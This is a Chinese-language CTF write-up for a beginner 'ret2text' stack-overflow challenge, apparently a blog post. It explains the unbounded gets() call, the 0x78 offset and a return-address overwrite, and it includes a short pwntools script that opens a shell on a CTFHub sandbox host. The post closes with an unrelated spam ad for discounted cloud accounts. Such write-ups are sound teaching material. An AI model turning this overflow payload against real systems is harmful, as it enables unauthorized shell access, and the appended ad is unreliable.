原题在某个名字被51cto屏蔽了的CTF刷题网站,题目为ret2text

题目属于栈溢出

给出了地址和端口,压缩包中有一个二进制程序pwn

file命令可以看到是64位ELF程序,这里pwn是文件名

PWN做题笔记1_pwn

checksec发现没有开启任何安全措施

PWN做题笔记1_二进制安全_02

程序运行如下:

PWN做题笔记1_pwn_03

ida64反汇编,发现gets输入没有边界检查0x70,存在注入:

PWN做题笔记1_pwn_04

secure函数调用了system返回一个服务器里的shell,因此目标是调用这个函数:

PWN做题笔记1_pwn_05

目标是覆盖tmain存储下一指令的位置,地址偏移除了0x70还要约过存放tmain的ebp的一个单元,即再+8,下一指令覆盖为0x4007B8

因此输入:b'A' * 0x78 + p64(0x4007b8)

 同pwntools编写脚本:

from pwn import *
host = 'challenge-ff699f909c1e3503.sandbox.ctfhub.com'
port = 37126

p = connect(host, port)
payload = b'A' * 0x78 + p64(0x4007b8)
p.sendline(payload)
p.interactive()

运行获取了服务器中的shell,ls发现flag文件,cat获取flag

PWN做题笔记1_ctf_06

PWN做题笔记1_ctf_07

这道题很简单,主要是了解pwn是在干啥,以及如何利用pwntools编写脚本

知识点主要是函数栈结构

阿里云国内75折 回扣 微信号:monov8
阿里云国际,腾讯云国际,低至75折。AWS 93折 免费开户实名账号 代冲值 优惠多多 微信号:monov8 飞机:@monov6